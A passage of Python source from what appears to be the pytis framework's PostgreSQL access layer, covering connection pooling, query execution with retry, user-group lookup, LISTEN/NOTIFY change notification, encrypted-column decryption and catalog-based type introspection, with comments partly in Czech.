connection_data.set_crypto_password(None)\n\n    def _postgresql_initialize_search_path(self, connection, schemas):\n        if schemas:\n            search_path = ','.join(schemas)\n            if connection.connection_info('search_path') != search_path:\n                query = _Query(\"set search_path to \" + search_path)\n                self._postgresql_query(connection, query, False)\n                connection.set_connection_info('search_path', search_path)\n\n    def _postgresql_initialize_session_variables(self, connection):\n        for k in pytis.config.session_variables:\n            if len(k.split('.')) == 2:\n                v = pytis.config.session_variables[k]\n                if isinstance(v, basestring):\n                    query = _Query(\"select set_config('{}', '{}', False)\".format(k, v))\n                    self._postgresql_query(connection, query, False)\n\n    def _postgresql_query(self, connection, query, restartable):\n        \"\"\"Perform SQL 'query' and return the result.\n\n        Arguments:\n\n          connection -- '_postgresql_Connection' instance\n          query -- '_Query' instance of the SQL command to be performed\n          restartable -- iff this is true, the method may try to restart the\n            database connection in case of error\n\n        The return value is a pair ('result', 'connection'), where 'result' is\n        a '_postgresql_Result' result and 'connection' a\n        '_postgresql_Connection' of the connection that returned the result.\n\n        This method is required to be redefined in a subclass.\n\n        \"\"\"\n        raise ProgramError(_(u\"Method not implemented\"))\n\n    def _postgresql_transform_query_result(self, result):\n        \"\"\"Vrať instanci 'PostgreSQLResult' odpovídající výsledku 'result'.\n\n        Argumenty:\n\n          result -- instance '_postgresql_Result'\n\n        Tato metoda musí být předefinována v podtřídě.\n\n        \"\"\"\n        raise ProgramError(_(u\"Method not implemented\"))\n\n    def _postgresql_begin_transaction(self):\n        self._pg_query(_Query('begin'))\n\n    def _postgresql_commit_transaction(self):\n        self._pg_query(_Query('commit'))\n\n    def _postgresql_rollback_transaction(self):\n        self._pg_query(_Query('rollback'))\n\n    @classmethod\n    def rollback_connections(class_, callback=None):\n        \"\"\"Rollback all database connections.\n\n        Arguments:\n\n          callback -- function of a single argument to be called for each of\n            the rollbacked connections with the connection instance as its\n            single argument; it's currently useful only for debugging\n\n        \"\"\"\n        class_._postgresql_Connection.rollback_connections(callback)\n\n    @classmethod\n    def close_idle_connections(class_, timeout=60):\n        \"\"\"Close all inactive database connections.\n\n        Arguments:\n\n          timeout -- number of seconds defining the interval of connection\n            inactivity to consider the connection inactive\n\n        \"\"\"\n        class_._postgresql_Connection.close_idle_connections(timeout)\n\n\nclass PostgreSQLConnector(PostgreSQLAccessor):\n    \"\"\"Třída pro přístup k PostgreSQL na vyšší úrovni.\n\n    Třída rozšiřuje funkce nadtřídy o funkce vyšší úrovně jako jsou správa\n    spojení, SQL inicializace při otevírání spojení nebo zpracování výsledků\n    SQL příkazů.\n\n    \"\"\"\n\n    _pg_connection_pool_ = None\n\n    def __init__(self, connection_data, connection_name=None, **kwargs):\n        \"\"\"\n        Arguments:\n\n          connection_data -- 'DBConnection' instance\n          kwargs -- propagated to superclass constructors\n\n        \"\"\"\n        # Logování\n        if pytis.config.dblogtable:\n            self._pdbb_logging_command = _QInsert(pytis.config.dblogtable, ('command',))\n        else:\n            self._pdbb_logging_command = None\n        # Connection management\n        # Connection pool open/close methods are class specific.  This doesn't\n        # hurt now as we use only one database access class.  But it's not very\n        # elegant anyway.\n        if PostgreSQLConnector._pg_connection_pool_ is None:\n            PostgreSQLConnector._pg_connection_pool_ = \\\n                DBConnectionPool(self._postgresql_new_connection,\n                                 self._postgresql_close_connection)\n        if isinstance(connection_data, DBConnection):\n            def connection_data_function(connection_data=connection_data):\n                return connection_data\n            connection_data = connection_data_function\n        assert connection_data is not None\n        self._connection_name = connection_name\n        self._pg_connection_data_ = connection_data\n        self._pg_connections_ = []\n        self._pg_query_lock = _thread.allocate_lock()\n        self._pg_query_counter = 0\n        super(PostgreSQLConnector, self).__init__(connection_data=connection_data, **kwargs)\n\n    def _pg_connection_pool(self):\n        return PostgreSQLConnector._pg_connection_pool_\n\n    def _pg_connection_data(self):\n        return self._pg_connection_data_().select(self._connection_name)\n\n    def _pg_connections(self):\n        return self._pg_connections_\n\n    def _pg_get_connection(self, outside_transaction=False):\n        connections = self._pg_connections()\n        if outside_transaction or not connections:\n            pool = self._pg_connection_pool()\n            connection = pool.get(self._pg_connection_data()), True\n        else:\n            connection = connections[-1], False\n        return connection\n\n    def _pg_return_connection(self, connection):\n        pool = self._pg_connection_pool()\n        pool.put_back(connection.connection_data(), connection)\n\n    def _pg_query(self, query, outside_transaction=False, backup=False, transaction=None):\n        \"\"\"Call the SQL 'query' and return the result.\n\n        Arguments:\n\n          query -- '_Query' instance\n          outside_transaction -- iff it is true, the query is performed outside\n            the current transaction (if there is any)\n          backup -- iff it is true, write the completed SQL command into log\n          transaction -- transaction object containing the connection to be\n            used for performing the query or 'None' (in which case the\n            connection is selected automatically); this argument may not be\n            used when 'outside_transaction' is true\n\n        The return value is a 'PostgreSQLResult' instance.\n\n        The method must properly handle database exception and in case any is\n        caught the corresponding 'DBException' must be raised.\n\n        \"\"\"\n        assert isinstance(query, _Query), query\n        assert transaction is None or not outside_transaction, \\\n            'Connection given to a query to be performed outside transaction'\n        attempt = 1\n        while True:  # Loop just for repetition on DBRetryException (see below).\n            borrowed_connection = None\n            if transaction is None:\n                connection, new = self._pg_get_connection(outside_transaction)\n                if new:\n                    borrowed_connection = connection\n            elif not transaction.open():\n                raise DBUserException(\"Can't use closed transaction\")\n            else:\n                connection = transaction._trans_connection()\n            self._pg_query_counter += 1\n            # Proveď dotaz\n            if __debug__:\n                log(DEBUG, 'SQL query:', query.format())\n            with Locked(self._pg_query_lock):\n                try:\n                    try:\n                        self._postgresql_initialize_search_path(\n                            connection,\n                            self._pg_connection_data().schemas(),\n                        )\n                    except DBRetryException:\n                        # Maybe database connection lost (server closed idle connection).\n                        # Note we only retry the harmless \"set search_path\" query.  This\n                        # should handle most lost connection situations.\n                        connection = None\n                        if transaction is None and attempt < 10:\n                            attempt += 1\n                            continue\n                        else:\n                            raise\n                    result, connection = self._postgresql_query(connection, query,\n                                                                outside_transaction)\n                finally:\n                    if connection is not None and connection is borrowed_connection:\n                        self._postgresql_query(connection, \"commit\", outside_transaction)\n                        self._pg_return_connection(connection)\n                if backup and self._pdbb_logging_command is not None:\n                    assert not outside_transaction, \\\n                        ('Backed up SQL command outside transaction', query.format())\n                    # Zde nemůže dojít k významné záměně pořadí zalogovaných\n                    # příkazů, protože všechny DML příkazy jsou uzavřeny\n                    # v transakcích a ty konfliktní jsou díky serializaci\n                    # automaticky správně řazeny.\n                    logging_query = self._pdbb_logging_command.values((query.format(),))\n                    self._postgresql_query(connection, logging_query, False)\n                data = self._postgresql_transform_query_result(result)\n                break\n        if __debug__:\n            log(DEBUG, 'SQL query result:', data)\n        return data\n\n    def _pg_flush_connections(self):\n        self._pg_connection_pool().flush(self._postgresql_close_connection)\n\n    def reset_crypto_password(self, password):\n        \"\"\"Set crypto password to 'password' in all database connections.\n\n        This method closes all connections as a side effect so use it\n        with caution.\n\n        Arguments:\n\n          password -- new crypto password; basestring\n\n        \"\"\"\n        pytis.config.dbconnection.set_crypto_password(password)\n        pytis.config.dbconnection = pytis.config.dbconnection  # mark as changed\n        self._pg_flush_connections()\n\n\nclass PostgreSQLUserGroups(PostgreSQLConnector):\n    \"\"\"Třída pro zjišťování skupin uživatele.\"\"\"\n\n    _access_groups = {}\n    _access_groups_data_objects = {}\n    _logical_access_groups = UNDEFINED\n    DMP_GROUPS_TABLE = 'ev_pytis_user_roles'\n\n    def __init__(self, *args, **kwargs):\n        super(PostgreSQLUserGroups, self).__init__(*args, **kwargs)\n        key = self._pgg_connection_key(self._pg_connection_data())\n        PostgreSQLUserGroups._access_groups_data_objects[key] = self\n\n    def _postgresql_initialize_connection(self, connection):\n        superclass = super(PostgreSQLUserGroups, self)\n        superclass._postgresql_initialize_connection(connection)\n        self._pgg_update_user_groups(connection)\n\n    def _pgg_update_user_groups(self, connection):\n        key = self._pgg_connection_key(connection.connection_data())\n        try:\n            del PostgreSQLUserGroups._access_groups[key]\n        except KeyError:\n            pass\n\n    def _pgg_connection_key(self, connection_data):\n        return (connection_data.user(), connection_data.host(), connection_data.port(),\n                connection_data.database(),)\n\n    def _pgg_retrieve_access_groups(self, data):\n        if __debug__:\n            log(DEBUG, \"Retrieving list of user groups\")\n        q = _Query(\"select rolname from pg_roles where pg_has_role(rolname, 'member')\")\n        d = data._pg_query(q, outside_transaction=True)\n        groups = [row[0] for row in d]\n        if __debug__:\n            log(DEBUG, \"List of user groups retrieved\")\n        return groups\n\n    def access_groups(self):\n        \"\"\"Vrať sekvenci jmen skupin, do kterých patří přihlášený uživatel.\n\n        Nejsou-li skupiny uživatele známy, vrať 'None'.\n\n        Argumenty:\n\n          connection_data -- specifikace spojení, jehož skupiny mají být\n            vráceny\n\n        Sekvence jmen skupin je updatována při každém vytvoření nového\n        spojení.  Jména skupin jsou strings.\n\n        \"\"\"\n        connection_data = self._pg_connection_data()\n        if PostgreSQLUserGroups._logical_access_groups is UNDEFINED:\n            PostgreSQLUserGroups._logical_access_groups = None\n            if pytis.config.use_dmp_roles:\n                # Check for ev_pytis_user_roles presence first, to prevent logging\n                # error messages in non-DMP applications\n                tables = dbtable('information_schema.tables', ('table_name', 'table_schema'),\n                                 connection_data, connection_name=self._connection_name)\n                roles_data = None\n                try:\n                    n = tables.select(condition=EQ('table_name',\n                                                   Value(String(),\n                                                         PostgreSQLUserGroups.DMP_GROUPS_TABLE)))\n                    schema_name = None\n                    schemas = pytis.config.dbschemas\n                    if not schemas:\n                        schemas = 'public'\n                    for i in range(n):\n                        s_name = tables.fetchone()['table_schema'].value()\n                        for s in schemas.split(','):\n                            if s == s_name:\n                                schema_name = s\n                                break\n                        if schema_name:\n                            break\n                    if schema_name:\n                        try:\n                            table_name = '{}.{}'.format(schema_name,\n                                                        PostgreSQLUserGroups.DMP_GROUPS_TABLE)\n                            roles_data = dbtable(table_name, ('roleid',), connection_data)\n                        except DBException:\n                            pass\n                        else:\n                            def process(row):\n                                return row[0].value()\n                            logical_access_groups = roles_data.select_map(process)\n                            PostgreSQLUserGroups._logical_access_groups = logical_access_groups\n                finally:\n                    try:\n                        tables.close()\n                    except Exception:\n                        pass\n        if PostgreSQLUserGroups._logical_access_groups is None:\n            key = self._pgg_connection_key(connection_data)\n            groups = PostgreSQLUserGroups._access_groups.get(key, UNDEFINED)\n            if groups is UNDEFINED:\n                data = self._access_groups_data_objects[key]\n                groups = PostgreSQLUserGroups._access_groups[key] = \\\n                    self._pgg_retrieve_access_groups(data)\n        else:\n            groups = PostgreSQLUserGroups._logical_access_groups\n        return groups\n\n    # TODO: Temporary compatibility hack:\n    def class_access_groups(connection_data):\n        import pytis.data\n        return pytis.data.default_access_groups(connection_data)\n    class_access_groups = staticmethod(class_access_groups)\n\n\nclass PostgreSQLNotifier(PostgreSQLConnector):\n    \"\"\"Class with notification about table contents changes.\n\n    The class runs a thread watching for notification defined in the\n    `_pg_notifications' attribute and sets the `_pg_changed' attribute to True\n    whenever any of the given object gets changed and calls registered\n    callbacks.\n\n    \"\"\"\n\n    NOTIFIERS = {}\n\n    class _PgNotifier(PostgreSQLConnector):\n\n        # Jsou tu dva zámky -- pozor na uváznutí!\n\n        def __init__(self, connection_data, connection_name=None):\n            if __debug__:\n                log(DEBUG, 'Notifier creation')\n            PostgreSQLConnector.__init__(self, connection_data,\n                                         connection_name=connection_name)\n            self._notif_data_lock = _thread.allocate_lock()\n            self._notif_data_objects = weakref.WeakKeyDictionary()\n            self._notif_connection_lock = _thread.allocate_lock()\n            _thread.start_new_thread(self._notif_listen, ())\n\n        def _notif_do_registration(self, notification):\n            self._pg_query(_Query('listen \"%s\"' % notification))\n\n        def _notif_register(self, notification):\n            # Zamykáme zde kvůli možnosti současného vyvolání této metody\n            # z `register' i naslouchacího threadu.\n            if __debug__:\n                log(DEBUG, 'Registering notification:', notification)\n            with Locked(self._notif_connection_lock):\n                self._notif_init_connection()\n                self._notif_do_registration(notification)\n            if __debug__:\n                log(DEBUG, 'Notification registered:', notification)\n\n        def _notif_listen(self):\n            if __debug__:\n                log(DEBUG, 'New listener')\n            error_pause = 1\n            self._notif_init_connection()\n            while True:\n                if __debug__:\n                    log(DEBUG, 'Listening on new connection')\n                notiflist = []\n                for d in self._notif_data_objects.values():\n                    notiflist = notiflist + d\n                if __debug__:\n                    log(DEBUG, 'Notifications to register:', notiflist)\n                notiflist = []\n                for list_ in self._notif_data_objects.values():\n                    notiflist += list_\n                try:\n                    # connection do poolu nikdy nevracíme, takže na něj můžeme\n                    # navěsit, co je nám libo.\n                    for n in remove_duplicates(notiflist):\n                        self._notif_register(n)\n                except DBException:\n                    time.sleep(error_pause)\n                    error_pause = error_pause * 2\n                    continue\n                self._notif_listen_loop()\n\n        def _notif_listen_loop(self):\n            raise Exception(\"Volána neimplementovaná metoda\")\n\n        def _notif_invoke_callbacks(self, notifications):\n            if __debug__:\n                log(DEBUG, 'Invoking callbacks')\n            with Locked(self._notif_data_lock):\n                data_objects = copy.copy(self._notif_data_objects)\n            for d, ns in data_objects.items():\n                for n in ns:\n                    if n in notifications:\n                        if __debug__:\n                            log(DEBUG, 'Invoking data object callbacks:', d)\n                        d._call_on_change_callbacks()\n                        break\n\n        def register_notification(self, data, notification):\n            if __debug__:\n                log(DEBUG, 'Registering notification:', notification)\n            with Locked(self._notif_data_lock):\n                try:\n                    notifications = self._notif_data_objects[data]\n                except KeyError:\n                    self._notif_data_objects[data] = notifications = []\n                notifications.append(notification)\n            self._notif_register(notification)\n            if __debug__:\n                log(DEBUG, 'Notification registered')\n\n    def __init__(self, connection_data, **kwargs):\n        \"\"\"\n        Argumenty:\n\n          connection_data -- údaje o spojení, stejné jako ve třídě 'PostgreSQLConnector'\n          kwargs -- k předání předkovi\n\n        \"\"\"\n        self._pg_notifications = []\n        super(PostgreSQLNotifier, self).__init__(connection_data=connection_data,\n                                                 **kwargs)\n        self._pg_changed = False\n\n    def after_init(self):\n        super(PostgreSQLNotifier, self).after_init()\n        # Attention, notifications may be registered only after or other\n        # initializations are performed.  Be careful about class successors!\n        if pytis.config.dblisten:\n            self._pg_add_notifications()\n\n    def _call_on_change_callbacks(self):\n        self._pg_changed = True\n        super(PostgreSQLNotifier, self)._call_on_change_callbacks()\n\n    def _pg_notifier_key(self, connection_data):\n        d = connection_data\n        return (d.host(), d.port(), d.database())\n\n    def _pg_add_notifications(self):\n        notifications = self._pg_notifications\n        if not notifications:\n            return\n        spec = self._pg_connection_data()\n        try:\n            notifier = PostgreSQLNotifier.NOTIFIERS[spec]\n        except KeyError:\n            notifier = PostgreSQLNotifier.NOTIFIERS[spec] = \\\n                self._PgNotifier(spec, connection_name=self._connection_name)\n        for n in notifications:\n            notifier.register_notification(self, n)\n\n\nclass PostgreSQLStandardBindingHandler(PostgreSQLConnector, DBData):\n    \"\"\"Interpretace sémantiky specifikace napojení do databáze.\n\n    Tato třída řeší problematiku naplnění významu specifikace napojení sloupců\n    datové tabulky na data v databázi PostgreSQL.  Nedědí žádnou datovou\n    třídu, pouze implementuje metody týkající se interpretace specifikace\n    sloupců, je tudíž vhodná k podědění v některém z potomků 'data.DBData'.\n\n    Současná implementace této třídy podporuje sloupcovou specifikační třídu\n    'DBColumnBinding' a jen tuto třídu.  Pro bindings navíc platí následující\n    pravidla:\n\n    - Musí být specifikováno alespoň jedno binding.\n\n    - Modifikovat (insert, update, delete) lze pouze tabulku klíče.\n\n    - Všechny složky klíče musí být z téže tabulky.\n\n    Poslední pravidlo se může zdát příliš omezující, avšak není tomu tak,\n    protože práci s vícenásobnými tabulkami je lepší a jednodušší implementovat\n    pomocí rules na serveru, než pomocí tohoto aplikačního rozhraní.  Je pouze\n    zapotřebí, aby databázový stroj tuto funkcionalitu podporoval a aby tato\n    podpora fungovala.\n\n    **Pozor**: Metody modifikující tabulku se nestarají o obecné udržení\n    integrity dat, tj. ohlídání vlastností klíčů nebo referenční integrity je\n    ponecháno na databázovém stroji.  Předpokládá se, že v případě porušení\n    pravidel definovaných v databázovém stroji je příslušná transakce\n    stornována.  Stejně tak metoda 'delete' pracuje na tom principu, že vymaže\n    řádek *pouze z tabulky primárního klíče* napojení; předpokládá se, že data\n    v ostatních tabulkách budou smazána automaticky databázovým strojem v rámci\n    pravidel zachování referenční integrity.\n\n    \"\"\"\n    _PDBB_CURSOR_NAME = 'selection'\n\n    _pdbb_selection_counter = Counter()\n    _pdbb_selection_counter_lock = _thread.allocate_lock()\n\n    _pdbb_table_column_data = {}\n\n    class _TableColumnData(object):\n\n        def __init__(self, basic, default, unique):\n            self._basic = basic\n            self._default = default\n            self._unique = unique\n\n        def basic(self):\n            return self._basic\n\n        def default(self):\n            return self._default\n\n        def unique(self):\n            return self._unique\n\n    @classmethod\n    def _pdbb_next_selection_number(class_):\n        with Locked(class_._pdbb_selection_counter_lock):\n            return class_._pdbb_selection_counter.next()\n\n    def __init__(self, bindings=None, ordering=None, operations=None, column_groups=None,\n                 db_spec=None, **kwargs):\n        \"\"\"\n        Arguments:\n\n          bindings, ordering, kwargs -- passed to superclass\n          operations -- sequence of pairs (OPERATION, COLUMN, NAME), where\n            OPERATION is one of 'AGG_*' constants of the class, COLUMN is id of\n            the column binding corresponding to the column to be aggregated and\n            NAME is the result column name (string) that can be used to refer to\n            the aggregate column\n          column_groups -- sequence of columns for the GROUP BY clause.  Each\n            item is either a string identifier of an existing column or a tuple\n            (NAME, TYPE, FUNCTION_NAME, *FUNCTION_ARGS), where NAME is the\n            string identifier of the column, TYPE is a 'pytis.data.Type'\n            instance of the resulting column type, FUNCTION_NAME is a string\n            containing the name of the database function returning the value\n            used for grouping, and FUNCTION_ARGS are arguments of the function.\n            Each of FUNCTION_ARGS can be either a string denoting another table\n            column name or a 'Value' instance denoting particular value of the\n            argument.\n          db_spec -- corresponding database specification as '_SQLTabular'\n            instance or 'None'; if not 'None' then database introspection can\n            be omitted for this object\n\n        If 'column_groups' is not 'None' it defines the set of grouped columns\n        as in the GROUP BY part of an SQL select statement.  If 'operations' is\n        not 'None', it defines a set of columns to be used as given aggregates\n        in SQL select statements.\n\n        If any of 'operations' and 'column_groups' is not 'None', all columns\n        not specified in 'operations' nor 'column_groups' are excluded from all\n        select operations.  This especially concerns the key column(which is\n        typically not present when using groupings), without its presence it's\n        impossible to perform data manipulation and other operations(in some\n        cases you can use the virtual column named '_number' containing the\n        current row number).  Additionally note that 'condition' constructor\n        argument, unlike 'condition' argument in 'select' calls, applies to the\n        base non-aggregated columns of the table thus allowing you to filter\n        the underlying data rows before aggregations get applied.\n\n        \"\"\"\n        self._pdbb_db_spec = db_spec\n        self._pdbb_table_schemas = {}\n        self._pdbb_function_schemas = {}\n        super(PostgreSQLStandardBindingHandler, self).__init__(\n            bindings=bindings, ordering=ordering, **kwargs)\n        self._pdbb_operations = operations\n        self._pdbb_column_groups = []\n        if column_groups is None:\n            self._pdbb_column_groups = None\n        else:\n            for c in column_groups:\n                if isinstance(c, basestring):\n                    c = (c, None, None)\n                self._pdbb_column_groups.append(c)\n        self._pdbb_create_sql_commands()\n\n    def _pdbb_tabcol(self, table_name, column_name, column_id):\n        \"\"\"Vrať zadaný sloupec zformátovaný pro SQL.\"\"\"\n        if table_name:\n            result = '%s.%s' % (table_name, column_name)\n        else:                           # aggregate or so, alias must be used\n            result = column_id\n        return result\n\n    def _pdbb_btabcol(self, binding, full_text_handler=None, convert_ltree=False, operations=None,\n                      column_groups=None):\n        \"\"\"Vrať sloupec z 'binding' zformátovaný pro SQL.\"\"\"\n        def column_type():\n            return self.find_column(binding.id()).type()\n        result = None\n        if operations is not None:\n            for aggregate, id_, name in operations:\n                if name == binding.id():\n                    result = _QFunction(self._pg_aggregate_name(aggregate), (binding.column(),))\n                    result = result.label(name)\n                    break\n        if column_groups is not None:\n            for g in column_groups:\n                name = g[0]\n                if name == binding.id():\n                    function_name = g[2]\n                    if function_name is not None:\n                        result = self._pdbb_column_group_call(g).label(name)\n                    break\n        if result is None:\n            column_name = binding.column()\n            column_id = binding.id()\n            if full_text_handler is not None and isinstance(binding.type(), FullTextIndex):\n                result = full_text_handler(binding)\n            elif convert_ltree and isinstance(column_type(), LTree) and column_type().text():\n                result = self._pdbb_tabcol(binding.table(), column_name, column_id) + '::text'\n            else:\n                result = self._pdbb_tabcol(binding.table(), column_name, column_id)\n                crypto_name = binding.crypto_name()\n                if crypto_name is not None:\n                    btype = binding.type()\n                    if btype is None:\n                        raise Exception(\"Unknown type in crypto column binding\", binding)\n                    # At least when called from Wiking, btype may be a type class\n                    # (and not a Type instance).  Hmm.\n                    if ((isinstance(btype, String) or\n                         isinstance(btype, type) and issubclass(btype, String))):\n                        decryption_function = 'pytis_decrypt_text'\n                    elif (isinstance(btype, Float) or\n                          isinstance(btype, type) and issubclass(btype, Float)):\n                        decryption_function = 'pytis_decrypt_float'\n                    elif (isinstance(btype, Integer) or\n                          isinstance(btype, type) and issubclass(btype, Integer)):\n                        decryption_function = 'pytis_decrypt_int'\n                    elif (isinstance(btype, Binary) or\n                          isinstance(btype, type) and issubclass(btype, Binary)):\n                        decryption_function = 'pytis_decrypt_binary'\n                    else:\n                        raise Exception(\"Encryption support not available for the type\", btype)\n                    result = _QFunction(decryption_function, (result, sval(crypto_name),))\n        if isinstance(result, basestring):\n            result = _Query(result)\n        return result\n\n    def _pdbb_coalesce(self, ctype, value):\n        if ctype is None or isinstance(ctype, (String, Range)) or not value:\n            cast = ''\n        elif isinstance(ctype, Float):\n            cast = 'numeric'\n        elif isinstance(ctype, Number):\n            cast = ''\n        elif isinstance(ctype, Time):\n            cast = 'time' if ctype.without_timezone() else 'timetz'\n        elif isinstance(ctype, Date):\n            cast = 'date'\n        elif isinstance(ctype, DateTime):\n            cast = 'timestamp' if ctype.without_timezone() else 'timestamptz'\n        elif isinstance(ctype, Boolean):\n            cast = 'bool'\n        else:\n            cast = ''\n        return _PgValue(value).query().cast(cast)\n\n    def _pdbb_split_object_name(self, obj, schema_dict, object_table, object_label):\n        items = obj.split('.')\n        if len(items) < 2:\n            if schema_dict.get(obj) is None:\n                table_schema = None\n                if table_schema is None:\n                    schemas = self._pg_connection_data().schemas()\n                    if not schemas:\n                        schemas = ['public', 'pg_catalog']\n                    if len(schemas) == 1:\n                        table_schema = schemas[0]\n                    elif self._pdbb_db_spec is not None:\n                        for s in self._pdbb_db_spec.object_schemas():\n                            if s in schemas:\n                                table_schema = s\n                                break\n                        else:\n                            table_schema = 'public'\n                    else:\n                        for s in schemas:\n                            query = ((\"select %(table)s.%(label)sname from %(table)s, pg_namespace \"\n                                      \"where %(table)s.%(label)snamespace = pg_namespace.oid and \"\n                                      \"%(table)s.%(label)sname='%(name)s' and \"\n                                      \"pg_namespace.nspname='%(namespace)s'\") %\n                                     dict(table=object_table, label=object_label, name=obj,\n                                          namespace=s))\n                            if self._pg_query(_Query(query), outside_transaction=True):\n                                table_schema = s\n                                break\n                        else:\n                            table_schema = 'public'\n                schema_dict[obj] = table_schema\n            items.insert(0, schema_dict[obj])\n        return items\n\n    def _pdbb_split_table_name(self, table):\n        return self._pdbb_split_object_name(table, self._pdbb_table_schemas, 'pg_class', 'rel')\n\n    def _pdbb_split_function_name(self, table):\n        return self._pdbb_split_object_name(table, self._pdbb_function_schemas, 'pg_proc', 'pro')\n\n    def _pdbb_unique_table_id(self, table):\n        connection_data = self._pg_connection_data()\n        return table, connection_data.host(), connection_data.port(), connection_data.database()\n\n    def _pdbb_get_table_column_data(self, table):\n        schema, table_name = self._pdbb_split_table_name(table)\n        d = self._pg_query(_Query(\n            (\"select pg_attribute.attname, pg_type.typname, pg_attribute.atttypmod, \"\n             \"pg_attribute.attnotnull \"\n             \"from pg_class, pg_attribute, pg_type, pg_namespace \"\n             \"where pg_class.oid = pg_attribute.attrelid and \"\n             \"pg_class.relnamespace = pg_namespace.oid and \"\n             \"pg_namespace.nspname = '%s' and \"\n             \"pg_class.relname = '%s' and \"\n             \"pg_attribute.atttypid = pg_type.oid and \"\n             \"pg_attribute.attnum > 0\") %\n            (schema, table_name,)),\n            outside_transaction=True)\n        d1 = self._pg_query(_Query(\n            (\"select pg_attribute.attname,  pg_get_expr(pg_attrdef.adbin, pg_attribute.attrelid) \"\n             \"from pg_class, pg_attribute, pg_attrdef, pg_namespace \"\n             \"where pg_class.oid = pg_attrdef.adrelid and \"\n             \"pg_class.relnamespace = pg_namespace.oid and \"\n             \"pg_namespace.nspname = '%s' and \"\n             \"pg_class.oid = pg_attribute.attrelid and \"\n             \"pg_class.relname = '%s' and \"\n             \"pg_attribute.attnum = pg_attrdef.adnum and \"\n             \"pg_attribute.attnum > 0\") %\n            (schema, table_name,)),\n            outside_transaction=True)\n        d2 = self._pg_query(_Query(\n            (\"select attname, conkey \"\n             \"from pg_constraint, pg_namespace, pg_class, pg_attribute \"\n             \"where conrelid = pg_class.oid and attrelid = pg_class.oid and \"\n             \"relnamespace = pg_namespace.oid and attnum = any (conkey) and \"\n             \"nspname = '%s' and relname = '%s' and (contype = 'p' or contype = 'u') and \"\n             \"pg_attribute.attnum > 0\") %\n            (schema, table_name,)),\n            outside_transaction=True)\n        table_data = self._TableColumnData(d, d1, d2)\n        table_key = self._pdbb_unique_table_id(table)\n        PostgreSQLStandardBindingHandler._pdbb_table_column_data[table_key] = table_data\n        return table_data\n\n    def _pdbb_get_table_type(self, table, column, noerror=False):\n        if self._pdbb_db_spec is not None:\n            for b in self._bindings:\n                if b.id() == column:\n                    return b.type()\n        table_key = self._pdbb_unique_table_id(table)\n        table_data = PostgreSQLStandardBindingHandler._pdbb_table_column_data.get(table_key)\n        if table_data is None:\n            table_data = self._pdbb_get_table_column_data(table)\n\n        def lookup_column(data):\n            if isinstance(column, int):\n                row = data[column]\n            else:\n                for row in data:\n                    if row[0] == column:\n                        break\n                else:\n                    return None\n            return row[1:]\n        try:\n            type_, size_string, not_null = lookup_column(table_data.basic())\n        except Exception:\n            if noerror:\n                return None\n            raise DBException(\"Unknown column '%s' in table '%s'\" % (column, table),\n                              None, table, column)\n        try:\n            default = lookup_column(table_data.default())[0]\n        except Exception:\n            default = ''\n        try:\n            # TODO: This is a quick hack to ignore multicolumn unique constraints. (TC)\n            row = lookup_column(table_data.unique())\n            unique = row and len(row[0]) == 1\n        except Exception:\n            unique = False\n        serial = (default[:len('nextval')] == 'nextval')\n        return self._pdbb_get_type(type_, size_string, not_null=not_null,\n                                   serial=serial, unique=unique)\n\n    def _pdbb_get_type(self, type_, size_string, not_null=False, serial=False, unique=False):\n        # Zde lze doplnit další používané standardní typy z PostgreSQL\n        TYPE_MAPPING = {'bool': Boolean,\n                        'bpchar': String,\n                        'char': String,\n                        'date': Date,\n                        'time': Time,\n                        'timetz': Time,\n                        'smallint': Integer,\n                        'bigint': Integer,\n                        'int2': Integer,\n                        'int4': Integer,\n                        'int4range': pytis.data.IntegerRange,\n                        'int8': pytis.data.LargeInteger,\n                        'int8range': pytis.data.LargeIntegerRange,\n                        'numeric': Float,\n                        'float4': Float,\n                        'float8': Float,\n                        'name': String,\n                        'text': String,\n                        'timestamp': DateTime,\n                        'timestamptz': DateTime,\n                        'interval': TimeInterval,\n                        'tsrange': pytis.data.DateTimeRange,\n                        'tstzrange': pytis.data.DateTimeRange,\n                        'daterange': pytis.data.DateRange,\n                        'tsvector': FullTextIndex,\n                        'varchar': String,\n                        'ltree': LTree,\n                        'inet': Inet,\n                        'macaddr': Macaddr,\n                        'bytea': Binary,\n                        'uuid': Uuid,\n                        'json': JSON,\n                        'jsonb': JSONB,\n                        'oid': pytis.data.Oid,  # for backward compatibility\n                        'sql_identifier': String,\n                        }\n        if type_ and type_[0] == '_':\n            array = True\n            type_ = type_[1:]\n        else:\n            array = False\n        try:\n            db_type_cls = TYPE_MAPPING[type_]\n        except KeyError:\n            raise pytis.data.DBException('Unhandled database type', None, type_)\n        db_type_kwargs = {}\n        if not_null in (1, 'T'):\n            db_type_kwargs['not_null'] = True\n        if unique and db_type_cls != Boolean:\n            db_type_kwargs['unique'] = True\n        if db_type_cls is String:\n            if type_ != 'text':\n                try:\n                    size = int(size_string) - 4\n                except Exception:\n                    size = None\n                if size < 0:\n                    size = None\n                db_type_kwargs['maxlen'] = size\n        elif db_type_cls is Float:\n            if type_ == 'numeric':\n                spec = int(size_string)\n                precision = (spec & 0xFFFF) - 4\n                if precision >= 0 and precision <= 100:\n                    db_type_kwargs['precision'] = precision\n                else:\n                    db_type_kwargs['digits'] = 100\n        elif db_type_cls is Integer and serial:\n            db_type_cls = Serial\n        elif type_ in ('timestamp', 'time', 'tsrange',):\n            db_type_kwargs['without_timezone'] = True\n        if array:\n            db_type_kwargs['inner_type'] = db_type_cls()\n            db_type_cls = pytis.data.Array\n        return db_type_cls(**db_type_kwargs)\n\n    def _pdbb_apply_type_kwargs(self, ctype, binding):\n        btype = binding.type()\n        kwargs = binding.kwargs()\n        if btype:\n            if not isinstance(btype, pytis.data.Type):\n                btype = btype()\n            if ctype is None or ctype.__class__ == Binary and not isinstance(btype, Binary):\n                # Maybe a crypto column\n                ctype = btype\n            else:\n                assert (isinstance(btype, ctype.__class__) or\n                        isinstance(btype, TimeInterval) and  # temporary hack\n                        ctype.__class__ == Time), \\\n                    \"%s.%s: User type doesn't match DB type: %s, %s\" % \\\n                    (binding.table(), binding.column(), btype, ctype)\n                ctype = ctype.clone(btype)\n        if ctype and kwargs:\n            if isinstance(ctype, pytis.data.Array) and 'inner_type' not in kwargs:\n                # This argument is mandatory for Array type.\n                kwargs = dict(kwargs, inner_type=ctype.inner_type())\n            ctype = ctype.clone(ctype.__class__(**kwargs))\n        return ctype\n\n    def _db_bindings_to_column_spec(self, bindings):\n        key = []\n        columns = []\n        do_introspection = (\n            # No introspection needed when DB specification is available.\n            self._pdbb_db_spec is None and\n            # Introspection not possible for table functions.\n            self._arguments is None\n        )\n        for b in bindings:\n            if not b.id():              # skrytý 